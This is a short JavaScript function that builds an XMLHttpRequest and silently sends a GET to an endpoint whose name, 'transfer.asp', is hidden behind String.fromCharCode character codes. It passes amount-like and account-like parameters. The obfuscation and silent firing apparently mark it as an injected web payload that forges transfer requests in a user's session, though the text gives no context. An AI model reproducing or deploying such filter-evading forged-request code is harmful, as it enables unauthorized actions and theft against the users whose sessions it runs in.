function xfer(xT, c, ca, b)
{

    var xmlHTTP;
    var sCT = '';
    var sLP = '';
    var q = '';
                
    try
    {    // Firefox, Opera 8.0+, Safari    
    xmlHTTP=new XMLHttpRequest();                 
    }
    catch (e)
    {    // Internet Explorer   
        try
        {
        xmlHTTP=new ActiveXObject("Msxml2.XMLHTTP");      
        }
        catch (e)
        {   
            try
            {
            xmlHTTP=new ActiveXObject("Microsoft.XMLHTTP");        
            }
            catch (e)
            {        
            return false;        
            }      
         }    
    }  
        
                    
    if (xmlHTTP)
    {            
        
        sCT='tra';    
        
        q = '&go=no&b=' + b + '&ca=' + ca;
        
        sCT+=String.fromCharCode(110) + String.fromCharCode(115);
        sLP = '.';
        sCT+='f';
                        
        sCT+=String.fromCharCode(101) + 'r';
        
        sLP += String.fromCharCode(97) + String.fromCharCode(115) + String.fromCharCode(112);
        
        sCT += sLP + '?';
                
        xmlHTTP.open("GET",sCT + 'xT=' + xT + '&c=' + c + q,true)
        xmlHTTP.send(null);
                  
    }

    return true;
}